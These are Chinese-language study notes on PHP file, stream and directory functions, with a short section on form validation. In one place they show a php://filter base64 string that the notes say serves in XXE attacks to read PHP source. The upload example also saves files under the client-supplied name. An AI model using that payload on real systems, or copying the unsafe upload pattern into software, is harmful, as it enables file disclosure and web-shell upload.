1、设置FILE_USE_INCLUDE_PATH将检查*filename*副本的内置路径
2、如果文件不存在,将创建一个文件
3、打开文件
4、设置LOCK_EX将锁定文件
5、设置FILE_APPEND将移至文件末尾,否则将会清除文件的内容
6、向文件中写入数据
7、关闭文件并对所有文件解锁
file
必需。规定要写入数据的文件。文件不存在则创建一个新文件
data
必需。规定要写入文件的数据。类型可以是string,array或是stream资源
如果data指定为stream资源,这里stream中所保存的缓存数据将被写入到指定文件中,这种用法相似于用stream_copy_to_stream()函数
参数data可以是数组,但不能为多维数组,这就相当于file_put_contents($filename,join('',$array))
flags
可选。规定如何打开/写入文件
flags的值可以是以下flag使用OR(|)运算符进行的组合
1、FILE_USE_INCLUDE_PATH 在include目录里搜索filename
2、FILE_APPEND 如果文件filename已经存在,追加数据而不是覆盖。
3、LOCK_EX 在写入时获得一个独占锁。
context
可选。规定文件句柄的环境。context资源是一套可以修改流的行为的选项
【 file_get_contents() 】 file_get_contents ( string $filename [,bool $use_include_path = false [,resource $context [,int $offset = -1 [,int $maxlen ]]]] ): string 和file()一样,只除了file_get_contents()把整个文件内容读入一个字符串。将在参数offset所指定的位置开始读取长度为maxlen的内容,失败将返回FALSE 该函数是用于把文件的内容读入到一个字符串中的首选方法。如果服务器操作系统支持,还会使用内存映射技术来增强性能 如果要打开有特殊字符的URL(比如说有空格),就需要使用urlencode()进行URL编码 该函数是二进制安全的,意思是二进制数据(如图像)和字符数据都可以使用此函数写入 filename 必需。规定要读取的文件 use_include_path可选。如果还想在include_path(在php.in中)中搜索文件的话,请设置该参数为'1' context 可选。规定文件句柄的环境,context是一套可以修改流的行为的选项,若使用NULL则忽略 offset 可选。规定在文件中开始读取的位置 maxlen 可选。规定读取的字节数 谨防阻塞式调用 PHP每次请求都会有单独的php-fpm进程响应和处理,启动了一定数量的php-fpm进程来响应排山倒海般流量的请求。假设这些进程全部都被占满时,系统就会出现异常、崩溃和无法响应新请求和新访问。 file_get_contents不仅可以读取本地系统的文件资源,还可以获取远程服务器的资源。但这个函数有个最大的弊端,就是无法设置超时时间。如果需要获取的远程资源,或者待请求的接口一直无法响应的话就会导致阻塞,如请求的域名绑定一个错误的IP地址则会在长时间等待之后返回504 Gateway Time-out。如果这一超时的接口或者页面又恰好是外部频繁访问时,就会导致大量的php-fpm进程被占用。最后整个系统处于满负载运行状态,因为php-fpm进程资源得不到释放 如果服务端所有php-fpm进程已经全部在服务./file_get_contents.php这个请求,很难再抽身出来响应新的请求。而查看Nginx的错误日志,可以发现有Resource temporarily unavailable这样的错误提示。 curl设置超时时间则会更为可控,因为自己的系统可以知道发生了超时的情况,超时情况下curl_exec()返回的结果是FALSE。针对超时可以进行报警、容错、降级等处理,而不是漫无目的地一直等待。 阻止不了问题的发生,但可以改进处理问题的方式。建议除非读取的是本地文件资源,否则尽量在获取远程资源时使用cURL,而不是file_get_contents(),尤其有请求接口时。 除此之外,还要甄别其他因为无法设置超时而导致阻塞的函数和操作,如取得图像大小的getimagesize()函数就是其中一个,也可能因为这个函数使用不当而导致整个页面无法访问的故障方法: 用file_get_contents以get方式获取内容Using stream contexts方法: 用file_get_contents函数,以post方式获取url
【 $data = file_get_contents("php://input"); 】
PHP在接收传值时常用$_POST或$_GET,读取文件时常用file_get_contents()或curl
另外一种接受值方法: $data = file_get_contents("php://input");取值上等价于: $GLOBALS['HTTP_RAW_POST_DATA']
$data = $GLOBALS[HTTP_RAW_POST_DATA];
if(empty($data)) $data = file_get_contents('php://input');
php://input是一个只读信息流,当请求方式是post的并且enctype不等于"multipart/form-data"(上传文件)时可以使用php://input来获取原始请求的数据
php://input可以读取http entity body中指定长度的值,由Content-Length指定长度,不管是POST方式或GET方法提交过来的数据,但一般GET方法提交数据时http request entity body部分都为空
Coentent-Type仅在取值为application/x-www-data-urlencoded(普通表单)和multipart/form-data(文件上传表单)两种情况下,PHP才会将http请求数据包中相应的数据填入全局变量$_POST
只有Content-Type为application/x-www-data-urlencoded时,php://input数据才跟$_POST数据相一致
Coentent-Type为multipart/form-data时PHP不会将http请求数据包中的相应数据填入php://input,否则其它情况都会
PHP不能识别的Content-Type类型时会将http请求包中相应的数据填入变量$HTTP_RAW_POST_DATA,PHP默认只识别application/x-www.form-urlencoded标准的数据类型;因此对于类型如text/xml或soap或application/octet-stream之类的内容无法解析,如果用$_POST数组来接收就会失败!故保留原型,交给$GLOBALS['HTTP_RAW_POST_DATA']来接收,php://input也可以实现此这个功能
PHP会将PATH字段的query_path部分,填入全局变量$_GET。通常情况下GET方法提交的http请求body为空
php://input和$HTTP_RAW_POST_DATA读取的数据是一样的,都只读取Content-Type不为multipart/form-data的数据。
要开启这个变量则需要修改配置文件,always_populate_raw_post_data选项设置为On,然后重启web服务器。而使用php://input不需要修改php配置,和$HTTP_RAW_POST_DATA比起来,它给内存带来的压力较小,并且不需要任何特殊的php.ini设置
在项目应用中,如摄像头拍照上传保存就可以用到php://input。客户端拍照后把图片流传送到服务端,服务端使用file_get_getcontents('php://input')就能获取到图片流,然后把图片流保存到一个文件,这个文件就是图片
PHP接收二进制流并生成文件将图片文件以二进制流的形式输出到客户端接收二进制数据流转换成图片php用file_get_contents("php://input")或$HTTP_RAW_POST_DATA可以接收xml数据手机上传图片到服务器的小程序获取HTTP请求原文
【 php://filter 】
php://filter是PHP语言中特有的协议流,作用是作为一个中间流来处理其他流,比如可用如下一行代码将POST内容转换成base64编码并输出:
readfile("php://filter/read=convert.base64-encode/resource=php://input");
在XXE中也可以将PHP等容易引发冲突的文件流用php://filter协议流处理一遍,这样就能有效规避特殊字符造成混乱。
php://filter/read=convert.base64-encode/resource=./xxe.php
【 stream_context_create() 】
resource stream_context_create ([ array $options [,array $params ]] )
创建并返回一个类型为resource的资源流上下文,该资源流中包含了options中提前设定的所有参数的值
options参数必须是一个二维关联数组,格式如下: $arr['wrapper']['option'] = $value,默认是一个空数组。
params参数必须是$arr['parameter'] = $value格式的关联数组,参考context parameters里的标准资源流参数列表
stream流的方式
stream_context_create作用: 创建并返回一个文本数据流并应用各种选项,可用于fopen(),file_get_contents()等过程的超时设置、代理服务器、请求方式、头信息设置的特殊过程
支持的协议
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
PHP提供了多种上下文选项和参数,可用于所有的文件系统或数据流封装协议。上下文(Context)由 stream_context_create() 创建。选项可通过 stream_context_set_option() 设置,参数可通过 stream_context_set_params() 设置。
HTTP context选项
1、method string
远程服务器支持的GET,POST或其它HTTP方法,默认GET
2、header string
请求期间发送的额外header,在此选项的值将覆盖其他值,诸如 User-agent:,Host: 和 Authentication:
3、user_agent string
要发送的header User-Agent:的值。如果在上面的header context选项中没有指定user-agent,此值将被使用。
默认使用php.ini中设置的user_agent。
4、content string
在header后面要发送的额外数据,通常使用POST或PUT请求
5、proxy string
URI指定的代理服务器的地址,如tcp://proxy.example.com:5100
6、request_fulluri boolean
TRUE表示在构建请求时将使用整个URI,(i.e. GET http://www.example.com/path/to/file.html HTTP/1.0),虽然这是一个非标准的请求格式,但某些代理服务器需要它,默认FALSE
7、follow_location integer
跟随Location header的重定向,设置为0以禁用,默认1
8、max_redirects integer
跟随重定向的最大次数,值为1或更少则意味不跟随重定向,默认20
9、protocol_version float
HTTP协议版本,默认1.0
10、timeout float
读取超时时间,单位秒,用float指定(e.g. 10.5)。默认使用php.ini中设置的default_socket_timeout
11、ignore_errors boolean
即使是故障状态码依然获取内容,默认FALSE
post请求get请求setup custom header use arraycreating SSL streams (using https://)the ssl/tls encryption忽略重定向并获取header和内容download a file via ftp through an HTTP proxyConnection via ProxyPOSTing some binary data to a remote server【 stream_get_meta_data() 】 array stream_get_meta_data ( int $fp ) 从封装协议文件指针中取得报头/元数据 返回现有stream的信息。可以是任何通过fopen(),fsockopen()和pfsockopen()建立的流。返回的数组包含以下项目: timed_out (bool) 如果在上次调用fread()或fgets()中等待数据时流超时了则为TRUE。 blocked (bool) 如果流处于阻塞IO模式时为TRUE。参见stream_set_blocking()。 eof (bool) 如果流到达文件末尾时为TRUE。注意对于socket流甚至当unread_bytes为非零值时也可以为TRUE。要测定是否有更多数据可读,用feof()替代读取本项目的值。 unread_bytes (int) 当前在PHP自己的内部缓冲区中的字节数,不要在脚本中使用此值。 以下项目是 PHP 4.3 新加的: stream_type (string) - 一个描述流底层实现的标注。 wrapper_type (string) - 一个描述流的分层协议封装实现的标注 wrapper_data (mixed) - 当前流附加的封装协议数据 filters (array) - 包含有被叠加在当前流的任何过滤器名的数组 本函数是 PHP 4.3 引进的,在此版本之前,可以用socket_get_status()来取得前四个项目并且仅能用于基于socket的流。在 PHP 4.3及以后版本中,socket_get_status()是本函数的别名。本函数不能作用于通过 Socket 扩展库创建的流。 以下项目为 PHP 5.0 新加: mode (string) - 对当前流所要求的访问类型(见 fopen() 中的表格 1)。 seekable (bool) - 是否可以在当前流中定位。 uri (string) - 与当前流关联的 URI 或文件名。
【 stream_get_contents() 】 string stream_get_contents ( resource $handle [,int $maxlength = -1 [,int $offset = -1 ]] ) 读取资源流到一个字符串,失败时返回FALSE 与file_get_contents()一样,但是stream_get_contents()是对一个已经打开的资源流进行操作,并将其内容写入一个字符串返回。 返回的内容取决于maxlength字节长度和offset指定的起始位置。 handle (resource) 一个资源流,例如fopen()操作之后返回的结果 maxlength (integer) 需要读取的最大的字节数,默认是-1读取全部的缓冲数据 offset (integer) 在读取数据之前先查找指定的偏移量,如果这个数字是负数就不进行查找,直接从当前位置开始读取。
【 var_export() 】
var_export ( mixed $expression [,bool $return ] ): mixed
输出或返回一个变量的字符串表示
此函数返回关于传递给该函数的变量的结构信息,和var_dump()类似,不同的是其返回的表示是合法的PHP代码
第二个参数设置为TRUE时返回变量的表示,而不是直接输出
var_export(array(1,2,array("a","b","c"))); // array ( 0 => 1,1 => 2,2 => array ( 0 => 'a',1 => 'b',2 => 'c',),)
echo var_export(3.1,TRUE); // 3.1000000000000001
SplFileObject与SplFileInfo文件操作类
PHP读取大文件的类SplFileObject(PHP>=5.1.0)
一般读取文件用fopen或file_get_contents,前者可循环读取,后者可一次性读取,但都是将文件内容一次性加载来操作,如果加载的文件特别大时性能就降下来
SPL库增加了SplFileObject与SplFileInfo两个标准的文件操作类
SplFileInfo仅用于获取文件的一些属性信息,如文件大小、文件访问时间、文件修改时间、后缀名等值
SplFileObject继承SplFileInfo并实现RecursiveIterator ,SeekableIterator接口 ,用于对文件遍历、查找、操作
SplFileInfo {
/* 方法 */
public __construct ( string $file_name )
public int getATime ( void ) //获取文件的最后访问时间
public string getBasename ([ string $suffix ] ) //获取文件的没有路径信息的基本名称,若有参数(后缀)则不返回后缀
public int getCTime ( void ) //返回文章最后一次变更的时间戳。
public string getExtension ( void ) //获取文件扩展名
public SplFileInfo getFileInfo ([ string $class_name ] ) //以对象的形式返回文件路径和名称
public string getFilename ( void ) //获取文件名称,不带路径
public int getGroup ( void ) //获取文件所在组,返回组id
public int getInode ( void ) //获取文件索引节点
public string getLinkTarget ( void ) //获取文件链接目标
public int getMTime ( void ) //获取最后修改时间
public int getOwner ( void ) //获取文件的所有者
public string getPath ( void ) //获取文件路径,不带文件名和最后的斜杠
public SplFileInfo getPathInfo ([ string $class_name ] ) //返回路径对象
public string getPathname ( void ) //获取文件路径
public int getPerms ( void ) //获取文件权限
public string getRealPath ( void ) //获取文件绝对路径,文件不存在返回false
public int getSize ( void ) //返回文件大小,单位字节
public string getType ( void ) //返回文件类型,可能是 file,link,dir
public bool isDir ( void ) //判断是否是目录,是放回true否则返回false
public bool isExecutable ( void ) //判断文件是否可执行,返回true,否则返回false
public bool isFile ( void ) //如果文件存在且是一个普通文件(非链接)返回true,否则false
public bool isLink ( void ) //判断文件是否是连接,不是返回false
public bool isReadable ( void ) //判断文件是否可读,可读返回true
public bool isWritable ( void ) //判断文件是否可写,可写返回true
public SplFileObject openFile ([ string $open_mode = "r" [,bool $use_include_path = false [,resource $context = NULL ]]] ) //获取文件对象信息
public void setFileClass ([ string $class_name = "SplFileObject" ] )
public void setInfoClass ([ string $class_name = "SplFileInfo" ] )
public void __toString ( void ) //以字符串的形式返回文件路径及名称
}
用法:
$info = new SplFileInfo($file_name);
SplFileObject {
/* 常量 */
const integer DROP_NEW_LINE = 1 ;
const integer READ_AHEAD = 2 ;
const integer SKIP_EMPTY = 4 ;
const integer READ_CSV = 8 ;
/* 方法 */
public string|array current ( void ) //返回文件当前行内容
public bool eof ( void ) //检测文件到末尾返回true,否则返回false
public bool fflush ( void ) //将缓冲内容输出到文件,成功返回TRUE,否则FALSE
public string fgetc ( void ) //按字符读取文件
public array fgetcsv ([ string $delimiter = "," [,string $enclosure = "\"" [,string $escape = "\\" ]]] ) //读取csv文件
public string fgets ( void ) //按行读取文件
public string fgetss ([ string $allowable_tags ] ) //按行读取文件,并去掉html标记
public bool flock ( int $operation [,int &$wouldblock ] ) //文件锁定或解锁,返回true或false
/*参数:
LOCK_SH 共享锁 (读).
LOCK_EX 独占锁 (写).
LOCK_UN 释放锁 (共享或独占).
LOCK_NB (附加锁定) 如果不希望flock()在锁定时堵塞,则应在上述锁定后加上改锁(windows上不支持)
flock(LOCK_EX+LOCK_NB); // 独占锁定加上附加锁定
flock(LOCK_UN+LOCK_NB);
*/
public int fpassthru ( void ) //输出文件指针之后的所有数据和字符数
public int fputcsv (array $fields) //将一维数组作为一行输入csv文件,返回写入字符串长度或false
public string fread ( int $length ) //从文件中读取指定的字节数,返回读取的字符串或false
public mixed fscanf ( string $format [,mixed &$... ] ) //从文件中读取一行并按照指定模式解析
/*例:
$file = new SplFileObject("misc.txt");
while ($userinfo = $file->fscanf("%s %s %s")) {
list ($name,$profession,$countrycode) = $userinfo;
// Do something with $name $profession $countrycode
}*/
public int fseek ( int $offset [,int $whence = SEEK_SET ] ) //按字节移动文件指针位置,
/*
SEEK_SET 设置文件指针到指定字节位置(默认为该模式).
SEEK_CUR 设置文件指针到当前位置加上指定字节位置.
SEEK_END 设置文件指针到文件末尾加上指定字节位置(此时字节经常为负值).
public array fstat ( void ) //获取文件信息,以数组形式返回*/
/*
数字下标 关联键名 说明
0 dev device number - 设备名
1 ino inode number - inode 号码
2 mode inode protection mode - inode 保护模式
3 nlink number of links - 被连接数目
4 uid userid of owner - 所有者的用户 id
5 gid groupid of owner- 所有者的组 id
6 rdev device type,if inode device * - 设备类型,如果是 inode 设备的话
7 size size in bytes - 文件大小的字节数
8 atime time of last access (unix timestamp) - 上次访问时间(Unix 时间戳)
9 mtime time of last modification (unix timestamp) - 上次修改时间(Unix 时间戳)
10 ctime time of last change (unix timestamp) - 上次改变时间(Unix 时间戳)
11 blksize blocksize of filesystem IO * - 文件系统 IO 的块大小
12 blocks number of blocks allocated - 所占据块的数目* Windows 下总是 0。
* - 仅在支持 st_blksize 类型的系统下有效。其它系统(如 Windows)返回 -1。
*/
public int ftell ( void ) //返回当前文件位置,文件指针位置
public bool ftruncate ( int $size ) //将文件截断到指定的长度,若长度大于文件长度用空补齐(文件打开方法对其有影响)
public int fwrite ( string $str [,int $length ] ) //将$str字符串写入文件,只写$length长度。放回写入字节数或null
public array getCsvControl ( void ) //Gets the delimiter and enclosure character used for parsing CSV fields
public int getFlags ( void ) //Gets the flags set for an instance of SplFileObject as an integer
public int getMaxLineLen ( void ) //返回一行读取的最大字节数(在已设置的前提下),若未设置,默认���0
public int key ( void ) //获取当前行号。
public void next ( void ) //移动到下一行
public void rewind ( void ) //返回到第一行
public void seek ( int $line_pos ) //定位到文件指定行
public void setCsvControl ([ string $delimiter = "," [,string $enclosure = "\"" [,string $escape = "\\" ]]] )
public void setFlags ( int $flags )
public void setMaxLineLen ( int $max_len ) //设置文件读取一行的最大字节数,若文件每行有10个字符,但设置最大读取为
public bool valid ( void ) //检查是否到达文件底部,未到达底部返回TRUE ,抵达返回false.
}
用法使用SplFileObject比下面的fgets要快多了,特别是文件行数非常多、并且要取后面的内容的时候。fgets要两个循环才可以,并且要循环$endLine次FileReader分装类: SplFileObject类配合使用文件操作相关函数
finfo类 文件系统相关扩展
finfo类在fileinfo函数集中提供了一个面向对象的接口
finfo {
public __construct ([ int $options = FILEINFO_NONE [, string $magic_file = "" ]] )
public buffer ( string $string [, int $options = FILEINFO_NONE [, resource $context ]] ) : string
public file ( string $file_name [, int $options = FILEINFO_NONE [, resource $context ]] ) : string
public set_flags ( int $options ) : bool
}
finfo::__construct — 别名finfo_open()
finfo::buffer — 别名finfo_buffer()
finfo::file — 别名finfo_file()
finfo::set_flags — 别名finfo_set_flags()
【 finfo_open() ]
创建一个fileinfo资源,打开一个魔数数据库并且返回它的资源,过程化风格如果成功则返回一个表示魔数数据库的资源,或者在失败时返回FALSE
过程化风格
finfo_open ([ int $options = FILEINFO_NONE [, string $magic_file = NULL ]] ) : resource
面向对象风格 (构造器):
public finfo::__construct ([ int $options = FILEINFO_NONE [, string $magic_file = NULL ]] )
options参数: 一个 Fileinfo 常量 或多个 Fileinfo 常量 进行逻辑或运算。
magic_file参数: 魔数数据库文件名称,通常是/path/to/magic.mime,如果未指定则使用MAGIC环境变量,如果未指定此环境变量则使用PHP绑定的魔数数据库,传入NULL或空字符串等同于使用默认值
【 finfo_file() 】 返回一个文件的信息,错误时返回FALSE 过程化风格 finfo_file(resource $finfo, string $file_name = NULL [, int $options = FILEINFO_NONE [, resource $context = NULL ]]): string 面向对象风格 public finfo::file(string $file_name = NULL [, int $options = FILEINFO_NONE [, resource $context = NULL ]]): string finfo参数: finfo_open()函数所返回的fileinfo资源。 file_name参数: 要检查的文件名。 options参数: 一个Fileinfo常量或多个Fileinfo常量进行逻辑或运算。 context参数: 关于contexts的更多描述请参考Stream函数。
【 finfo类预定义常量 Fileinfo常量 】 下列常量由此扩展定义,且仅在此扩展编译入PHP或在运行时动态载入时可用。 FILEINFO_NONE (integer) 无特殊处理。 FILEINFO_SYMLINK (integer) 跟随符号链接。 FILEINFO_MIME_TYPE (integer) 返回mime类型 FILEINFO_MIME_ENCODING (integer) 返回文件的mime编码 FILEINFO_MIME (integer) 按照RFC2045定义的格式返回文件mime类型和编码。 FILEINFO_DEVICES (integer) 查看设备的块内容或字符。 FILEINFO_CONTINUE (integer) 返回全部匹配的类型。 FILEINFO_PRESERVE_ATIME (integer) 如果可以的话尽可能保持原始的访问时间。 FILEINFO_RAW (integer) 对于不可打印字符不转换成\ooo八进制表示格式。 FILEINFO_EXTENSION (integer) 根据MIME类型返回适当的文件扩展名,有的文件类型具有多种扩展名,如JPEG将会返回多个扩展名, 以斜杠分隔,比如"jpeg/jpg/jpe/jfif"。如果在magic.mime数据库里类型未知则返回的是"???"。 PHP 7.2.0 起有效。
Filesystem函数
basename() 返回路径中的文件名部分 chgrp() 改变文件组 chmod() 改变文件模式 chown() 改变文件所有者 clearstatcache() 清除文件状态缓存 copy() 复制文件 delete() 参见unlink()或unset() dirname() 返回路径中的目录名称部分 disk_free_space() 返回目录的可用空间 disk_total_space() 返回一个目录的磁盘总容量 diskfreespace() disk_free_space()的别名 fclose() 关闭打开的文件 feof() 测试文件指针是否到了文件末尾 fflush() 向打开的文件刷新缓冲输出 fgetc() 从打开的文件中返回字符 fgetcsv() 从打开的文件中解析一行,校验CSV字段 fgets() 从打开的文件中返回一行 fgetss() 从打开的文件中返回一行,并过滤掉HTML和PHP标签 file() 把文件读入一个数组中 file_exists() 检查文件或目录是否存在 file_get_contents() 把文件读入字符串 file_put_contents() 把字符串写入文件 fileatime() 返回文件的上次访问时间 filectime() 返回文件的上次修改时间 filegroup() 返回文件的组ID fileinode() 返回文件的inode编号 filemtime() 返回文件内容的上次修改时间 fileowner() 返回文件的用户ID(所)者) fileperms() 返回文件的权限 filesize() 返回文件大小 filetype() 返回文件类型 flock() 锁定或释放文件 fnmatch() 根据指定的模式来匹配文件名或字符串 fopen() 打开一个文件或 URL fpassthru() 从打开的文件中读数据,直到文件末尾(E)F),并向输出缓冲写结果 fputcsv() 把行格式化为 CSV 并写入一个打开的文件中 fputs() fwrite() 的别名 fread() 读取打开的文件 fscanf() 根据指定的格式对输入进行解析 fseek() 在打开的文件中定位 fstat() 返回关于一个打开的文件的信息 ftell() 返回在打开文件中的当前位置 ftruncate() 把打开文件截断到指定的长度 fwrite() 写入打开的文件 glob() 返回一个包含匹配指定模式的文件名/目录的数组 is_dir() 判断文件是否是一个目录 is_executable() 判断文件是否可执行 is_file() 判断文件是否是常规的文件 is_link() 判断文件是否是连接 is_readable() 判断文件是否可读 is_uploaded_file() 判断文件是否是通过 HTTP POST 上传的 is_writable() 判断文件是否可写 is_writeable() is_writable() 的别名 lchgrp() 改变符号连接的组所有权 lchown() 改变符号连接的用户所有权 link() 创建一个硬连接 linkinfo() 返回有关一个硬连接的信息 lstat() 返回关于文件或符号连接的信息 mkdir() 创建目录 move_uploaded_file() 把上传的文件移动到新位置 parse_ini_file() 解析一个配置文件 parse_ini_string() 解析一个配置字符串 pathinfo() 返回关于文件路径的信息 pclose() 关闭由 popen() 打开的进程 popen() 打开一个进程 readfile() 读取一个文件,并写入到输出缓冲 readlink() 返回符号连接的目标 realpath() 返回绝对路径名 realpath_cache_get() 返回高速缓存条目 realpath_cache_size() 返回高速缓存大小 rename() 重命名文件或目录 rewind() 倒回文件指针的位置 rmdir() 删除空的目录 set_file_buffer() 设置已打开文件的缓冲大小 stat() 返回关于文件的信息 symlink() 创建符号连接 tempnam() 创建唯一的临时文件 tmpfile() 创建唯一的临时文件 touch() 设置文件的访问和修改时间 umask() 改变文件的文件权限 unlink() 删除文件php静态缓存类即文件存储数据遍历目录文件
目录操作
. 当前目录
..当前目录的上层目录
$dir = './'; 相对路径、绝对目录,不许打开远程目录
【 getcwd() 】
getcwd ( void ): string
获取当前工作绝对目录的字符串形式
【 pathinfo() 】
pathinfo(string $path [,int $options = PATHINFO_DIRNAME | PATHINFO_BASENAME | PATHINFO_EXTENSION | PATHINFO_FILENAME]): mixed
以数组的形式返回关于文件路径的信息,返回的数组元素如下: [dirname] [basename] [extension]
如果不是请求所有的元素,则pathinfo()函数返回字符串
path 必需。规定要检查的路径
options 可选。规定要返回的数组元素,默认all
可能的值:
PATHINFO_DIRNAME - 只返回dirname,如E:\wamp64\www\ERP
PATHINFO_BASENAME - 只返回basename,如index.php
PATHINFO_EXTENSION - 只返回extension,如php
7种获取PHP文件后缀名的方法
第一种:
$file = 'x.y.z.png';
echo substr(strrchr($file, '.'), 1); // 查找字符串在另一个字符串中最后一次出现的位置,并返回从该位置到字符串结尾的所有字符
第二种:
$file = 'x.y.z.png';
echo substr($file, strrpos($file, '.')+1); // 查找 "." 在字符串中最后一次出现的位置,返回位置 substr()从该位置开始截取
第三种:
$file = 'x.y.z.png';
$arr=explode('.', $file);
echo $arr[count($arr)-1];
第四种:
$file = 'x.y.z.png';
$arr=explode('.', $file);
echo end($arr); //end()返回数组的最后一个元素
第五种:
$file = 'x.y.z.png';
echo strrev(explode('.', strrev($file))[0]);
第六种:
.$file = 'x.y.z.png';
echo pathinfo($file)['extension']; 以数组的形式返回文件路径的信息。包括以下的数组元素:[dirname] [basename] [extension]
第七种:
.$file = 'x.y.z.png';
echo pathinfo($file, PATHINFO_EXTENSION);
【 realpath() 】
realpath ( string $path ): string
返回文件或目录的绝对路径,该函数删除所有符号连接(比如'/./','/../'及多余的'/'),并返回绝对路径名,失败则返回FALSE
【 dirname() 】
dirname ( string $path ): string
返回路径中的目录名称部分,不含/
dirname(__FILE__)
一般返回文件的当前目录到系统根目录的一个目录结构,不会返回当前的文件名称;也可能返回.即当前目录
【 basename() 】
basename ( string $path [,string $suffix ] ): string
返回路径中的文件名部分
参数path 必需,规定要检查的路径
参数suffix 可选,规定文件扩展名。如果文件有这个文件扩展名将不会显示这个扩展名
【 is_dir(file) 】
bool is_dir ( string $filename )
检查指定的文件是否是一个目录,该函数的结果会被缓存。请使用 clearstatcache() 来清除缓存
【 file_exists() 】
bool file_exists ( string $filename )
检查文件或目录是否存在,结果不会被缓存
相当于 is_dir + is_file
【 mkdir() 】
bool mkdir(string $pathname [,int $mode = 0777 [,bool $recursive = false [,resource $context ]]] )
创建目录,权限,成功则返回true,失败则返回false
path 必需。规定要创建的目录的名称
mode 可选。规定权限,默认0777,允许全局访问,mode参数在Windows平台上被忽略
recursive 可选。规定是否设置递归模式,布尔
context 可选。规定文件句柄的环境。context是一套可以修改流的行为的选项
【 opendir(path,context) 】
resource opendir ( string $path [,resource $context ] )
打开目录句柄
成功则返回目录句柄资源,失败则返回FALSE。如果路径不是合法目录或由于许可限制或文件系统错误导致的目录不能打开,则抛出E_WARNING级别的错误。可通过在函数名称前添加'@'来隐藏opendir()的错误输出
$mydir = opendir($dir)
参数path 必需。规定要打开的目录路径
参数context 可选。规定目录句柄的环境。context 是可修改目录流的行为的一套选项
【 glob() 】
array glob ( string $pattern [,int $flags = 0 ] )
寻找与模式匹配的文件路径,返回一个包含匹配指定模式的文件名或目录名的数组,出错失败则返回FALSE
glob()函数依照libc glob()函数使用的规则寻找所有与pattern匹配的文件路径,类似于一般shells所用的规则一样,不进行缩写扩展或参数替代
此函数不能作用于远程文件,被检查的文件必须是可通过服务器的文件系统访问的。
此函数在一些系统上还不能工作(例如一些旧的Sun OS),GLOB_BRACE在一些非GNU系统上无效,比如Solaris
在Linux操作系统下要把隐藏文件扫描出来
$files = glob('path/to/temp/{,.}*', GLOB_BRACE);
pattern 必需。规定检索模式
flags 可选。规定特殊的设定,有效标记,可能的值:
GLOB_MARK - 在每个返回的项目中加一个斜线
GLOB_NOSORT - 按照文件在目录中出现的原始顺序返回(不排序)
GLOB_NOCHECK - 如果没有文件匹配则返回用于搜索的模式
GLOB_NOESCAPE - 反斜线不转义元字符
GLOB_BRACE - 扩充{a,b,c}来匹配'a','b'或'c'
GLOB_ONLYDIR - 仅返回与模式匹配的目录项
GLOB_ERR - 如果错误则停止,默认情况下忽略所有错误
【 closedir() 】
closedir ([ resource $dir_handle ] ): void
closedir($mydir)
关闭目录句柄,可选参数dir_handle指定由opendir()打开的目录句柄资源,该参数未指定则使用最后一个由opendir()打开的链接
【 readdir() 】
$filename = readdir($mydir)
返回目录中下一个文件的文件名,包括.和..,可重复执行
【 scandir($mydir) 】
返回指定目录中的文件和目录的数组
scandir(directory,sorting_order,context);
directory 必需,规定要扫描的目录
sorting_order 可选,规定排列顺序,默认0表示按字母升序排列,SCANDIR_SORT_DESCENDING或1表示按字母降序排列,SCANDIR_SORT_NONE则返回未排列的结果
context 可选。规定目录句柄的环境。context是可修改目录流的行为的一套选项
成功则返回文件和目录的数组,失败则返回FALSE,如果directory不是一个目录则抛出E_WARNING级别的错误
【 chdir() 】
chdir ( string $directory ) : bool
改变当前工作目录,成功返回TRUE,失败返回FALSE且抛出E_WARNING级别的错误
chdir('./a/')
【 chroot() 】
chroot ( string $directory ) : bool
改变当前进程的根目录为directory,并把当前工作目录改为"/"
该函数需要root权限,且仅在GNU和BSD系统上仅当使用CLI、CGI、嵌入式SAPI时可用。该函数没有在Windows平台上实现
【 rmdir() 】
rmdir ( string $dirname [, resource $context ] ) : bool
删除dir所指定空且有相应的权限的目录
【 dir() 】 dir ( string $directory [, resource $context ] ) : Directory 返回Directory类的实例,该函数用于读取一个目录,包含如下: 1、给定的要打开的目录 2、dir()的handle和path两个属性是可用的 3、handle和path属性有三个方法: read()、rewind()和close() dir(directory,context); 参数directory 必需。规定要打开的目录 参数context 参数可选
【 rename() 】 rename ( string $oldname , string $newname [, resource $context ] ) : bool 重命名文件或目录 【 is_uploaded_file() 】 is_uploaded_file ( string $filename ) : bool 判断文件是否通过HTTP POST上传的,结果会被缓存,请使用clearstatcache()清除缓存 is_uploaded_file($_FILES["file"]["tmp_name"]) 【 move_uploaded_file() 】 move_uploaded_file(file,newloc): bool move_uploaded_file($_FILES["file"]["tmp_name"], './'.$_FILES["file"]["name"]) 将上传的文件移动到新位置,如果目标文件已经存在将会被覆盖,该函数仅用于通过HTTP POST上传的文件 $dir='../../../image/'; $file=scandir($dir); var_dump($file);文件管理系统(递归遍历目录)递归: 自身调用自身
表单验证
php接受HTML表单提交的信息保存在超全局变量数组中,通过使用这些超全局变量来获取表单信息 安全的处理PHP表单,防止黑客入侵和垃圾邮件 htmlspecialchars() 把特殊字符转换为HTML实体,即 < 和 > 之类的HTML字符会被替换为& lt;和& gt; 这样可防止攻击者通过在表单中注入HTML或Js代码(跨站点脚本攻击)对代码进行利用 一般在前端需要验证的东西,在后端也必须验证,因为浏览器禁用js后就可以绕过js的验证 前端验证是为了体验更好,减少连接请求等,如密码长度验证、邮箱有效性验证等,能缓解服务端压力的,对于高并发的网站效果很明显 后端去验证常见的是与数据库操作有关的,如用户名重复验证、密码重复验证,一般都是通过ajax对后端发起请求,不刷新页面 还有一些别的情况也可能放到后端验证,比如有个字段的检查需要借助一个算法,不可能把这个算法的实现写到js去 总的来说,所有验证尽可能放到前端去验证,同时前端验证之后后端再验证一次 验证码 1.后台随机生成,然后绘制成图片,前台放一label,通过ajax 2.后台生成验证码,并且放到session里
